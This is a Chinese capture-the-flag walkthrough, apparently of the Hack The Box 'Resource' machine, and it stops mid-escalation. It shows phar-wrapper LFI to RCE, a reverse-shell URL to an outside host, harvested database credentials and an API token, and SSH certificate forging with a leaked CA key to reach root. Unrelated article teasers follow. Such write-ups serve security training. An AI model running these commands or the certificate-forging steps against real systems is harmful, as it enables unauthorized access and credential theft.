Hack The Box-Resource【更新中】

news2024/9/27 8:14:11

总体思路

信息收集&端口利用

nmap -sSVC itrc.ssg.htb

在这里插入图片描述

目标开放了两个ssh端口和一个80端口,先查看80端口

在这里插入图片描述

网站是一个SSG IT资源中心,主要用于解决网站问题、管理 SSH 访问、清除病毒和解决各种安全问题的权威一站式商店。

后台挂着目录扫描,先看看界面

界面上有登录和注册按钮,注册一个用户,查看能否直接登录

在这里插入图片描述

在这里插入图片描述

登录进来后是一个存储票据的界面,此时目录扫描结果也出来了

在这里插入图片描述

想到当前url为http://itrc.ssg.htb/index.php?page=dashboard,考虑可以拼接已扫出来的目录

访问admin界面

在这里插入图片描述

看到一个提示说,需要联系zzinter用户,放到后边再看

在这里插入图片描述

还有一个用于验证主机存活的接口

在这里插入图片描述

查看下方的tickets,随意单击一个票据查看,首先会跳转到http://itrc.ssg.htb/?page=ticket&id=5界面,然后提示票据不可用

在这里插入图片描述

目前没有别的信息,单击New Ticket按钮创建新的票据

在这里插入图片描述

他的接口为create_ticket,这里需要上传压缩包,先上传一个空的zip后缀文件查看

在这里插入图片描述

报错信息中提到了两个函数:ZipArchive::open()、hash_file

ZipArchive::open()
用于打开上传的zip文件

hash_file
计算文件的hash值

上传完毕后回到界面,能看到刚刚上传的信息,并且添加评论等等

在这里插入图片描述

1

在刚刚的报错信息中,能够得到网站的目录为/var/www/itrc,这里如果访问之前获得的api/create_ticket.php,会得到服务器的响应,但是只能访问没有后缀的PHP文件

在这里插入图片描述

从 LFI 漏洞中,我们可以测试一些协议,例如file://、dict://、phar://,他会触发LFI漏洞,意味着我们能够使用协议来触发上传的资源

可以测试http://itrc.ssg.htb/index.php?page=file:///var/www/itrc/api/create_ticket,以验证和刚刚相同的效果

在这里插入图片描述

由于它是PHP服务器,这里尝试使用phar反序列化攻击,创建一个用于RCE的PHP代码,并将其压缩后上传

需要注意的是PHP代码中前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件

在这里插入图片描述

在这里插入图片描述

上传完成后,发现该文件的名称被重命名,不过不影响后面的操作,重命名的格式是根据zip文件的内容,将其进行SHA-1加密,可以使用sha1sum验证

在这里插入图片描述

在这里插入图片描述

使用phar://协议访问刚刚上传的shell文件

在这里插入图片描述

在这里插入图片描述

现在现在可以做到远程命令执行,制作一段反弹shell,并发送

#/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.7/9000 0>&1'
http://itrc.ssg.htb/?page=phar://uploads/[sha1sum].zip/shell&cmd=/bin/bash+-c+%27/bin/bash+-i+%3E%26+/dev/tcp/10.10.16.7/9000+0%3E%261%27

在这里插入图片描述

拿到www-data用户

在之前的目录扫描时候发现还存在db.php,查看它

#db.php
<?php

$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);

try {
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Connection failed: " . $e->getMessage());
}

虽然有数据库的登录凭证,但是发现登录不了

通过查看home目录,我们能够知道下一个目标为zzinter和msainristil

在uploads目录下有若干个文件,其中不仅有我们上传的,也有系统本身自带的,使用zipgrep来枚举敏感信息

for zipfile in *.zip; do zipgrep "zzinter" "$zipfile"; done
for zipfile in *.zip; do zipgrep "msainristil" "$zipfile"; done

在这里插入图片描述

得到了msainristil用户的登录凭证

在这里插入图片描述

在decommission_old_ca文件夹下,有一对RSA密钥,是一个CA私钥

在这里插入图片描述

CA私钥是证书颁发机构在颁发数字证书过程中使用的重要密钥,这些证书可以验证用户的身份并在网络内建立信任

CA私钥(ca-itrc)可以签署其他公钥,从而创建系统信任的证书,使用命令ssh-keygen -y -f ca-itrc即可生成ca-itrc.pub,该pub文件不包含任何用户的身份信息,只是密钥对中的公钥,可以验证相应的私钥签名。可以使用CA私钥创建并签名公钥,然后检查证书

有了CA私钥,接下去使用CA 私钥签署公钥以创建SSH证书,一般涉及以下几个步骤:首先,‌生成CA的私钥和公钥。‌然后,‌为需要证书的用户或系统生成SSH密钥对(‌私钥和公钥)‌。‌接着,‌用户将公钥提交给CA。‌CA使用其私钥签署用户的公钥,‌生成SSH证书。‌最后,‌用户将SSH证书和私钥一起使用,‌进行认证。‌

具体步骤如下

#新建密钥对
ssh-keygen -t rsa -b 2048 -f b3rry

#使用CA私钥对公钥进行签名,并生成证书,指定zzinter为有效的用户名
ssh-keygen -s ca-itrc -I ca-itrc.pub -n zzinter b3rry.pub

#检查生成的证书
ssh-keygen -Lf b3rry-cert.pub

#使用证书,以zzinter身份去登录到主机
ssh -o CertificateFile=b3rry-cert.pub -i b3rry zzinter@localhost

在这里插入图片描述

查看当前文件夹下的内容

在这里插入图片描述

发现有一个脚本只能root用户执行,使用刚才的方法,生成root的登录证书

ssh-keygen -t rsa -b 2048 -f root
ssh-keygen -s ca-itrc -I ca-itrc.pub -n root root.pub
ssh -o CertificateFile=root-cert.pub -i root root@localhost

在这里插入图片描述

该root目录下并没有我们想要的文件,猜测可能是一个容器,查看端口连接状况

netstat -anltp

在这里插入图片描述

从中能够看到,,目前我们连接到的是172.223.0.3,更加确定他是一个容器

回到之前zzinter目录下,有一个sign_key_api.sh的文件,现在来查看它

#sign_key_api.sh

#!/bin/bash

usage () {
    echo "Usage: $0 <public_key_file> <username> <principal>"
    exit 1
}

if [ "$#" -ne 3 ]; then
    usage
fi

public_key_file="$1"
username="$2"
principal_str="$3"

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

public_key=$(cat $public_key_file)

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

分析代码可知,运行该脚本需要三个参数,调用了signserv.ssg.htb上的服务,使用特定主体对SSH公钥进行签名

脚本说明中介绍了4个主体,即webserver、analytics、support、security,以及它们对应的用户名,只有support成对出现才会起作用

还是和之前一样,先创建一个密钥对,然后使用脚本对其公钥进行签名

ssh-keygen -t rsa -b 2048 -f support
chmod 600 support
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "[support.pub]", "username": "support", "principals": "support"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

运行完毕后,会生成support-cert.pub文件,将其和之前的密钥对都复制出来

在这里插入图片描述

由于端口22是用于主机的itrc,我们可以尝试使用私钥key登录2222端口

ssh -o CertificateFile=support-cert.pub -i support support@ssg.htb -p 2222

在这里插入图片描述

查看当前主机存在的用户

在这里插入图片描述

发现还需要提权到zzinter用户

虽然我们根据shell脚本测试了这4个主体,但当然可以有更多的主体供我们以其他用户身份登录以继续进行

对于/etc/ssh/auth_principals目录,其与OpenSSH的证书颁发机构 (CA) 功能结合使用。它包含以用户帐户命名的文件,每个文件都列出了允许以该用户身份进行身份验证的身份

在这里插入图片描述

我们找到了zzinter主体所对应的用户名,再和之前一样,先生成密钥对,再使用该主体、用户名和公钥生成证书并登录

ssh-keygen -t rsa -b 2048 -f zzinter && chmod 600 zzinter
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "[zzinter.pub]", "username": "zzinter", "principals": "zzinter_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
chmod 600 zzinter-cert.pub
ssh -o CertificateFile=zzinter-cert.pub -i zzinter zzinter@ssg.htb -p 2222

在这里插入图片描述

既然能够使用此方法登录到zzinter用户,在主体中也包含了root_temp和对应的root用户名,那么是否也能够给root的公钥签名,使用证书登陆呢

尝试运行以下命令

ssh-keygen -t rsa -b 2048 -f root && chmod 600 root
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "[root.pub]", "username": "root", "principals": "root_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
chmod 600 root-cert.pub
ssh -o CertificateFile=root-cert.pub -i root root@ssg.htb -p 2222

在这里插入图片描述

发现无法登录,可能是因为认证中的密钥拒绝对root用户使用

那么查看当前用户可执行权限

在这里插入图片描述

可以不需要密码以root身份执行/opt/sign_key.sh,查看脚本内容

#/opt/sign_key.sh

#!/bin/bash

usage () {
    echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
    exit 1
}

if [ "$#" -ne 5 ]; then
    usage
fi

ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"

if [ ! -f "$ca_file" ]; then
    echo "Error: CA file '$ca_file' not found."
    usage
fi

if [[ $ca == "/etc/ssh/ca-it" ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if ! [[ $serial =~ ^[0-9]+$ ]]; then
    echo "Error: '$serial' is not a number."
    usage
fi

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

这个脚本允许我们使用CA签署公钥,并且脚本会检查提供的CA是否和/etc/ssh/ca-it相匹配,若相同,则会退出

该脚本的主要命令为

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

-s "$ca_file":指定用于签名的CA密钥
-z "$serial":证书的序列号
-I "$username":证书的身份
-V -1w:forever:指定有效期(从1周前至永远)
-n "$principals":指定证书允许的主体
"$public_key_name":需要签名的公钥文件

此时如果我们想使用密钥ca-it签署RSA,系统会调用 signserv Web 应用程序上的 API。但是在脚本中,若这两个API相同,则会禁止使用该密钥(这就是为什么最开始不成功的原因?)。因此,我们需要尝试在本地找到有效的CA密钥来为root用户和相应的主体进行签名

在bash脚本中,很容易会受到通配符*的攻击,因为他可以代表任意字符,导致能够轻易的通过一些判断语句

--------------------------------------更新分界线---------------------------------------------

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1985412.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

threejs加载fbx带tga贴图报错

描述&#xff1a;threejs加载带tga贴图的fbx时&#xff0c;提示 FBXLoader: TGA loader not found, creating placeholder texture for 11\Pylons_A.TGA 方案一&#xff1a; 加载fbx之前&#xff0c;在LoadingManager中添加TGALoader。此方案有两个前提 1、FBXLoader和TGALoa…

JDK-Java IO流概述

JDK-Java IO流概述 概述 一直以来Java三件套&#xff08;集合、io、多线程&#xff09;都是最热门的Java基础技术点&#xff0c;我们要深入掌握好这三件套才能在日常开发中得心应手&#xff0c;之前有编写集合相关的文章&#xff0c;这里出一篇文章来梳理一下io相关的知识点。 …

电商客服的贴心快捷回复助手

作为一位电商客服&#xff0c;你是否曾在回复顾客的过程中感到困扰&#xff1f;是否因为经验不足而踩过雷&#xff0c;比如被平台提示用了违禁词&#xff0c;或是不清楚平台的响应率和满意度等问题&#xff1f;如果是这样&#xff0c;那么今天我要向大家介绍一款神奇的软件&…

小白学算法之移除元素(双指针法!)

力扣27&#xff1a;移除元素 题目内容&#xff1a; 给你一个数组 nums 和一个值 val&#xff0c;你需要 原地 移除所有数值等于 val 的元素&#xff0c;并返回移除后数组的新长度。 不要使用额外的数组空间&#xff0c;你必须仅使用 O(1) 额外空间并原地修改输入数组。 元素…

使用Godot4组件制作竖版太空射击游戏_2D卷轴飞机射击-游戏存储(结束!)

文章目录 分数储存写在最后 使用Godot4组件制作竖版太空射击游戏_2D卷轴飞机射击&#xff08;一&#xff09; 使用Godot4组件制作竖版太空射击游戏_2D卷轴飞机射击-激光组件&#xff08;二&#xff09; 使用Godot4组件制作竖版太空射击游戏_2D卷轴飞机射击-飞船动画&#xff08…

制造知识普及(二)--企业内部物料编码(IPN)与制造商物料编码(MPN)

在日常的物料管理业务逻辑中&#xff0c;一物一码是物料管理的基本的业务规则&#xff0c;不管物料从产品开发还是仓库管理&#xff0c;甚至成本核算&#xff0c;都要遵循这个原则&#xff0c;才能保证产品数据的准确性&#xff0c;才具备唯一追溯的可行性。大部分企业都是这种…

OFD 发票解析

文章目录 参考文章1 了解ofd文件结构1.1 如何打开ofd 文件1.2 ofd文件结构1.3 提取信息思路 2. 提取发票信息实现2.1 目录结构2.2 实体类2.3 发票解析类2.4 controller2.5 service 参考文章 ofd发票解析 什么是ofd格式 ofd 格式是一种用于存储金融数据的开放格式&#xff0c;它…

SpringBoot3 配置Logback日志滚动文件

简介 本文介绍了在SpringBoot3中配置Logback日志滚动文件的方法&#xff0c;因为SpringBoot3内置的logback版本是1.4.14&#xff0c;之前使用SpringBoot2.1.5的logback配置发现有些东西不能生效了 环境 SpringBoot v3.3.2 内置的logback-core为1.4.14 正文 <configuration …

【预训练语言模型】 使用Transformers库进行BERT预训练

基于 HuggingFace的Transformer库&#xff0c;在Colab或Kaggle进行预训练。 鉴于算力限制&#xff0c;选用了较小的英文数据集wikitext-2 目的&#xff1a;跑通Mask语言模型的预训练流程 一、准备 1.1 安装依赖 !pip3 install --upgrade pip !pip install -U datasets !pi…

2024华数杯c题题解(一)

目录 原题背景 背景分析 问题一 思路 代码 问题二 思路 代码 原题背景 最近&#xff0c;“city 不 city”这一网络流行语在外国网红的推动下备受关注。随着我国过境免签政策的落实&#xff0c;越来越多外国游客来到中国&#xff0c;通过网络平台展示他们在华旅行的见闻…

如何利用virtuoso自动仿真占空比?

设计完一个振荡器&#xff08;OSC&#xff09;&#xff0c;我们有时候会仿真一下占空比&#xff0c;那么如何利用virtuoso软件的caculator功能自动获取呢&#xff1f; 开整&#xff01; 占空比是指在一个脉冲循环内&#xff0c;通电时间相对于总时间所占的比例。 我们在时钟上…

2023大数据-架构师案例(八)

Lambda架构 nginx &#xff08;b&#xff09; Hbase &#xff08;c&#xff09;Spark Streaming &#xff08;d&#xff09;Spark &#xff08;e&#xff09;MapReduce &#xff08;f&#xff09;ETL &#xff08;g&#xff09;MemSQL &#xff08;h&#xff09;HDFS &#x…

电机物理数学建模

电机定义 电机是以磁场为媒介&#xff0c;利用电磁感应作用进行能量转换与传递的电磁装置。机电能量转换装置&#xff0c;无论尺寸大小&#xff0c;从大型旋转电机如水轮发电机到小型机电信号变换器&#xff0c;虽然它们的用途和结构各异&#xff0c;但都基于相同的电磁场与运…

Moretl 日志采集工具

使用咨询: 扫码添加QQ 永久免费: Gitee下载最新版本 使用说明: CSDN查看使用说明 功能: 定时(全量采集or增量采集) SCADA,MES等系统采集工控机,办公电脑文件. 优势1: 开箱即用. 解压直接运行.插件集成下载. 优势2: 批管理设备. 配置均在后台配置管理. 优势3: 无人值守 采集端…

E2000 RGMII0通讯异常问题总结

最近让新来小朋友做了一款E2000Q的板卡,使用了E2000Q上的两个RGMII资源,外接YT8521转出了电口。 但是他调试中遇到了一个比较奇怪的问题,两套YT8521的电路都一样,但是一路通一路不通。 也就是框图中MAC2(芯片RGMII0,系统对应eth1)那路网络不通,图中MAC3(芯片RGMII1,…

开发Chrome浏览器插件 - 第一步

目录 1. 准备工作 2. 创建基础文件 3. 编写manifest.json 4. 编写popup.html 5. 编写background.js 6. 编写content.js 7. 加载插件 8. 测试和调试 9. 发布插件 9.1 创建开发者账号步骤 9.2 提交Chrome扩展程序步骤 1. 准备工作 安装Chrome浏览器&#xff1a;确保…

C# 中引用类型的探讨

引用类型的变量不直接包含其数据&#xff1b;它包含对其数据的引用。 如果按值传递引用类型参数&#xff0c;则可能更改属于所引 用对象的数据&#xff0c;例如类成员的值。 但是&#xff0c;不能更改引用本身的值&#xff1b;例如&#xff0c;不能使用相同引用为新对象分配内存…

根据年月将数组拆分为以年月为key的二维数组

处理前: 处理后: public function lists(): array{$field = change_type,change_amount,left_amount,action,create_time,remark;$lists

飞腾X100芯片GPU状态查询

本文档对在linux系统下查看X100芯片GPU状态信息进行说明,可以帮助大家了解芯片的实时工作状态。 板子系统信息: # cat /etc/os-release NAME="Kylin" VERSION="银河麒麟桌面操作系统V10 (SP1)" VERSION_US="Kylin Linux Desktop V10 (SP1)" I…

模块化RAG:RAG新范式,像乐高一样搭建 万字长文

1. RAG系统的发展历史与问题 RAG&#xff08;检索增强生成&#xff09;通过访问外部知识库&#xff0c;检索增强生成&#xff08;RAG&#xff09;为 LLMs 提供了关键的上下文信息&#xff0c;极大地提升了其在知识密集型任务上的表现。RAG 作为一种增强手段&#xff0c;已在众…